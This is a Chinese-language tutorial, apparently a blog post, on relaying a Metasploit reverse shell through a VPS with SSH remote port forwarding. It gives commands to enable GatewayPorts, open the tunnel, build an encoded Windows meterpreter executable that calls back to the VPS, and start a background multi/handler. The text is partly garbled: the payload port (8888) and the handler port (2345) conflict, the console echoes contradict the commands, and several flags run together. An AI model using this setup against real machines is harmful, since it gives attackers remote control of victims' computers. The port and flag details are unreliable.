公网的VPS上没有msf的话,我们可以利用ssh隧道的端口转发功能,来使用本地的msf。
这里首先需要配置VPS ssh服务
编辑 /etc/ssh/sshd_config
在文件最后添加:
GatewayPorts yes
GatewayPorts是否允许远程主机连接本地的转发端口.默认值是”no”.
sshd 默认将远程端口转发绑定到loopback地址.这样将阻止其它远程主机连接到转发端口。
GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。
首先在本地执行
ssh -qTfnN -R 2345:172.16.100.128:2345 root@172.16.100.134
转发本地的2345端口到172.16.100.134的2345端口。
来查看一下172.16.100.134的连接
[root@PC]# netstat -anlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 83417/sshd
发现2345端口是监听在0.0.0.0的,而如果没有GatewayPorts no的话则是监听在127.0.0.1的,仅允许本地连接。
之后配置msf客户端:
[root@PC]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5-b ‘\x00’ LHOST=[vpsIP] LPORT=8888-f exe > abc.exe
之后本地启用监听:
msf >use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler)>set lhost 172.16.100.128
lhost =>172.16.100.128
msf exploit(handler)>set lport 2345
lport =>8888
msf exploit(handler)>set exitonsession false
exitonsession =>false
msf exploit(handler)> exploit -j
[*]Exploit running as background job.
[*]Started reverse TCP handler on 172.16.100.128:2345
客户端被执行以后,成功返回回话: